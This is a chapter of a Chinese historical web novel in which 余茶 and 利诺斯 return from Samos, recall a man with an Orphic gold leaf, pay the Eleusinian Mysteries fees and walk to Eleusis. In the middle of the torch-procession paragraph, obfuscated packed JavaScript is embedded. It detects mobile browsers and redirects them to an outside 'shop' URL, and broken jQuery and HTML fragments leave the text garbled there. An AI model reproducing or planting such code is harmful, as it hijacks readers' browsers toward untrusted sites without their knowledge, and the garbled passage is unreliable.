从萨摩斯回来的路，比去的时候更漫长。
不是路程更长，是心更沉。那块刻着地图的陶片就揣在余茶怀里，隔着衣物硌着她的胸口，像一枚永远无法忽略的印记。
“你从昨晚到现在一句话没说。”利诺斯靠在船舷上，看着她，“那个老头说的，把你吓着了？”
余茶摇了摇头。
“不是吓着。是……”
她顿了顿，不知道该怎么形容。菲洛德摩斯说的那些话，那些关于文字会死、关于符号还活着的说法，像一把钥匙，打开了她心里一直关着的那扇门。
“是什么？”利诺斯追问。
“是想明白了一些事。”余茶说，“关于那些符号，还有关于我自己。”
利诺斯没有继续问。他只是点了点头，又把那个皮囊递给她。
“喝点。路还长。”
—————
余茶在船上一直保持着沉默，除了菲洛德莫斯说的话，她还偶尔会想起在萨摩斯遇到的那个奇怪的中年人。
余茶喜欢逛女神庙，而著名的赫拉神庙离港口不远，走过去也就半个小时。所以在到达萨摩斯的第二天，她独自去了赫拉神庙。
余茶站在神庙前的空地上，仰着头看那些柱子——比科林斯的阿佛洛狄忒神庙高得多，也粗得多，柱头带着卷曲的涡纹。旁边有个过路的本地人告诉她，这叫“爱奥尼柱式”，萨摩斯人发明的。
“雅典人用的多立克，”那人说，“太硬了。我们这儿的东西，软。”
余茶在神庙里转了一圈，献了一小块糕饼，然后出来，坐在台阶上歇脚。
这时候她注意到有个人也在台阶上坐着。
是个中年男人，穿着灰色的粗布长袍，脚上的皮鞋已经磨得发白。他低着头，手里捏着什么东西，翻来覆去地看，像在看，又像在想事。
余茶没想搭理他，但那男人忽然抬起头，看了她一眼。
“外乡人？”他问。
余茶点头。
“从哪儿来？”
“科林斯，经雅典来的。”
男人“嗯”了一声，目光又落回手上那东西。余茶顺着他的目光看过去——那是一小块薄薄的、金色的东西，像是叶子，又像是金属箔，上面似乎刻着字。
她忍不住问：“那是什么？”
男人沉默了几秒，然后站起来，把那张金箔递到她面前，让她看。
上面刻着希腊文，字很小，但能看清几句：
“你将走向冥界右边的一座泉水，旁边立着一株白色的柏树。别靠近那泉水。你会找到另一处，从记忆之湖涌出的冷泉。”
余茶看完了，抬起头，没说话。
男人把金箔收回怀里，看着她，问了一句：
“你信人死了之后还有东西留着吗？”
---
那男人叫菲拉蒙，是本地人，以前是个商人，去过埃及、塞浦路斯、甚至腓尼基。但十年前他突然不干了，把货船卖了，整天在岛上晃悠，帮人刻碑、抄经文、给人讲一些奇怪的东西。
镇上的人说他“信了不该信的”，但也没人赶他走——毕竟他不偷不抢，偶尔还能帮人写个信。
那天晚上，余茶和利诺斯在一家小酒馆里又碰见了他。他坐在角落里，面前只有一杯兑了水的葡萄酒，没喝几口，手还在摸怀里那张金箔。
余茶端着酒走过去，在他对面坐下。
“那个，”她指了指他怀里，“你信那个？”
菲拉蒙抬起头，看了她一会儿，然后慢慢地把金箔掏出来，放在桌上。
“这不是我信的，”他说，“这是我要带着的。”
“有什么区别？”
“信的，是活着的时候信的。”他顿了顿，手指按在金箔上，“这个，是死了之后用的。没有它，你到了那边不知道往哪儿走。”
余茶没说话，等着他往下说。
“人死了之后，灵魂要往下走，走到一个十字路口。左边是遗忘之泉，喝了那水，什么都忘了。右边，有一棵白柏树，树底下有个泉，那不是给你的。”
他抬起头，看着余茶的眼睛。
“你要往前走，找到另一眼泉——‘记忆之泉’。喝了那水，你才能记住你是谁，你从哪儿来，你要回哪儿去。然后你才能跟那些神说：我是你们的后人。”
他念了几句什么，余茶没听清，只听见最后一句：
“我从纯净者中来，我是你们的一员。”
酒馆里很吵，有人在吵架，有人在高谈阔论，炭火上的烤鱼滋滋作响。但余茶忽然觉得那个角落变得很安静。
“那……你怎么知道该往哪儿走？”她问。
菲拉蒙低头看了看手里的金箔，然后把它推到她面前。
“读一遍。读完就记住了。”
余茶低头，借着油灯的光，把那几行字又读了一遍：
“你将走向冥界右边的一座泉水，旁边立着一株白色的柏树。别靠近那泉水。你会找到另一处，从记忆之湖涌出的冷泉。”
“对守护者说：我是大地和繁星密布的天空的孩子。我渴，给我喝那记忆之泉的水。”
她读完，抬起头。
菲拉蒙已经把金箔收回去，站起来，往门口走。走到门口，他回过头，对她说了一句：
“你不是来这儿游玩的，对吧？”
然后他推开门，走了。
余茶回到利诺斯那桌，利诺斯喝着葡萄酒，但笑不语。
————
夜里，余茶睡不着。
她走出小屋，坐在门前的石阶上。月亮很圆，照在远处的山坡上，把那些橄榄树照成一片银灰色的剪影。近处有虫子在叫，一声一声，不急不慢，像在数着什么。
身后传来脚步声。利诺斯也出来了，在她旁边坐下。
“睡不着？”
余茶点头。
“在想什么？”
余茶：“在想那个音乐家的故事。”
利诺斯愣了一下。
“什么音乐家？”
“你讲的那个。俄耳甫斯。”余茶说，“他去冥界找他妻子，冥王让他带她回来，条件是路上不能回头。他答应了。但在最后一步，他回了头，她就不见了。”
利诺斯没有说话。
余茶继续说：“我在想，他为什么要回头？都走到最后一步了，为什么不能忍一忍？”
利诺斯沉默了很久。
然后他开口了。
“我听过另一个版本。”他说，“不是俄耳甫斯的，是另一个人的。也是一个音乐家，妻子被冥王抢走了。他也去冥界求情，冥王也让他带妻子回来，条件也是不能回头。他答应了。他走在前面，妻子跟在后面，一直走一直走，快走出冥界的时候，他听到妻子在后面喊他的名字。”
他顿了顿。
“他忍住了，没有回头。他继续走，一直走，走到了人间。到了之后，他回头一看——身后空空的，什么都没有。”
余茶看着他。
“那妻子呢？”
利诺斯摇了摇头。
“不知道。有人说她根本没跟上来，是冥王骗他的。有人说她跟上来了，但在最后一步被什么东西拽回去了。还有人说……”他看着她，“他根本没有回头，所以永远不知道。”
余茶沉默了很久。
“你相信哪个？”
利诺斯笑了，还是那副吊儿郎当的样子。
“我相信那个走到头的。不管后面有什么，先走到头再说。”
——————
船在海上走了两天，在雅典的比雷埃夫斯港靠了岸。码头上有人在议论——“大秘仪要开始了！”“今年去的人比去年多。”“听说连那边的波斯人都想入会。”
余茶在比雷埃夫斯的港口打听到，只要会说希腊语、没杀过人、不是蛮族，任何人都可以参加。不分男女，不分自由人还是奴隶。
他们没在雅典停留。狄奥多拉的宅子就在不远处，但余茶没有去。她怕去了就不想走。利诺斯也没劝，他们想参加大秘仪，还有很多事情要准备。
“参加埃莱夫西斯秘仪是一笔明码标价、分门别类、层层剥皮的买卖，大小秘仪是由雅典和埃莱夫西斯本地祭司家族共同经营的宗教产业。”
余茶吃了一惊：“还要收钱？是入城费吗？”
“不是，我们需要在雅典就付清——在18日大秘仪正式开始之前，所有参加者都需要在雅典集结，统一缴费、登记姓名。付完钱的人，才有资格参加后面那场盛大的圣途游行。”
“那需要多少钱呢？”
“入会费每人15德拉克马，要给女祭司3奥波尔。欧摩尔波斯家族与科律克斯家族这两个家族世代掌管秘仪，所以他们也要收保护费，女人收3奥波尔，男人5奥波尔，祭祀官员10天收5奥波尔。祭品要3奥波尔。之后就是咱们路上的费用了。”
余茶咋舌：“基本上每个人快20德拉克马了？一个好工匠也得用一个月才能赚这么多钱吧？这还是崇高的祭祀仪式吗？这不妥妥的下金蛋的母鸡？”
利诺斯赞赏地看着余茶，哈哈大笑：“下金蛋的母鸡？好高明的修辞手法。但不要和别人这么说，渎神的罪名可不小。”
—————
第二天清晨，天蒙蒙亮，祭司带头集结好参加大秘仪的人群，一起向埃莱夫西斯出发。领头的是一个举着火把的祭司，后面跟着成百上千的人，手里也都举着火把。火把连成一条流动的光河，从雅典方向蜿蜒而来，照亮了暮色中的圣途。余茶站在路边，看着那条光河慢慢流过，火光映在每个人脸上，忽明忽暗。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258740|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
利诺斯雇了一头驴驮着包袱，他和余茶则跟着队伍向西走。
“埃莱夫西斯在雅典西边，”他说，“走陆路一天就能到。现在是秋天，路上全是去参加秘仪的人。”
他们牵着驴沿着土路慢腾腾地走。路两边是大片的橄榄林，橄榄果已经开始变黑，沉甸甸地挂在枝头。偶尔能看到农人在树下铺开布单，用长竿敲打树枝，黑色的果子噼里啪啦落下来。
“今年收成不错。”利诺斯说，“橄榄油能卖个好价钱。”
余茶没有接话。她看着那些劳作的农人、在田埂上奔跑的孩子、扛着包袱走在路上的行人，心里涌起一种奇怪的感觉。
这些和她擦肩而过的面孔，他们知道自己在走向什么吗？花了高昂的费用，他们知道那个大秘仪里藏着什么吗？
路上的人越来越多。有背着包袱的农民，有牵着驴子的商人，还有老人和孩子和穿着长袍的祭司。空气里弥漫着一种奇怪的气息——不是恐惧，也不是期待，而是某种更深的、无法言说的东西。
雅典的大队人马到埃莱夫西斯附近时，太阳已经偏西。到处是人——有穿粗布长袍的农夫，有披着精致斗篷的雅典贵妇，有几个黑皮肤的船夫，甚至还有一个说话带着多利安口音的斯巴达人。
然后她听见笑声。
有人在高声说着粗俗的笑话，有人用最下流的语言喊话。旁边一个老妇人告诉她：“这是在纪念老仆人。女神当年扮成老妇人来到这儿，就是那个仆人逗笑了她。从那以后，秘仪里必须有这些笑话。”
余茶没觉得好笑，但她跟着笑了几声。
他们远远地看到了埃莱夫西斯。
那座城坐落在山坡上，背靠着一座陡峭的山崖。城墙是淡黄色的，在午后的阳光下显得格外醒目。城里最高的建筑是一座巨大的殿堂，又高又厚，像一座堡垒。
“那就是秘仪堂。”利诺斯指着那座建筑说，“秘仪就在里面举行。”
余茶盯着那座建筑，眼神带着怀疑。
城外来自希腊各地的人把空地都占满了，炊烟袅袅，人声嘈杂，像一座临时建起来的城市。
他们顺着人群向城里走。路上的人越来越多，有的在唱歌，有的在祈祷，有的在互相交换食物和水。空气中弥漫着烤肉的香味、酒的味道、还有某种香草燃烧后的烟气。
城门口站着几个祭司，穿着白色的长袍，脸上涂着某种白色的粉，看起来像刚从另一个世界来的。他们检查每一个进城的人——不是查身份，是问一句话：
“你手上有没有没洗掉的血？”
每个人都要回答：“没有。”
余茶走到城门口，那个白脸的祭司看着她，目光在她脸上停了一瞬。
“你手上有没有没洗掉的血？”
余茶摇了摇头。
祭司点了点头，示意她进去。
---
城里比城外更挤。
狭窄的街道上挤满了人，两边是各种临时摆出来的摊位——卖吃食的，卖祭品的，卖护身符的。还有人在街角唱歌，有人在墙上画画，有人围成一圈听某个老头讲故事。
利诺斯拉着余茶的手，怕她被挤丢。
“先找个住的地方。”他说，“这几天城里人满为患，旅店早满了，我们得找人家借宿。”
他们穿过人群，走到城西边的一条小巷。利诺斯敲了几家门，都被拒绝了——不是不愿意，是真的没地方。最后一家是个老太太，头发全白了，背驼得厉害，但眼睛还亮着。
“只有一间柴房。”她说，“不干净，但有屋顶。”
余茶说：“够了。”
老太太把他们带到后院，推开一间堆满柴火的小屋。里面确实脏，地上铺着一层干草，墙角有老鼠洞。但屋顶是好的，能遮风挡雨。
利诺斯从包袱里掏出一小袋银币，递给老太太。老太太数了数，点点头，转身走了。
余茶在干草上坐下，长出了一口气。
“累吗？”利诺斯问。
余茶摇头。
“紧张？”
余茶沉默了一瞬。
“有点。”
利诺斯在她旁边坐下，从怀里掏出那个皮囊，喝了一口，递给她。
余茶接过，也喝了一口。酒有点烈，呛得她咳了几声。
“后天就是秘仪之夜了。”利诺斯说，“前面这几天，都是准备。斋戒、沐浴、献祭。你要参加吗？”
余茶点头。
“那就好好准备。那些祭司会告诉你该做什么。”
他站起身，走到门口，又回头。
“我就在这儿等你。不管里面有什么，出来的时候，记得我还在。”
余茶看着他。
“谢谢。”
利诺斯摆了摆手，消失在门口。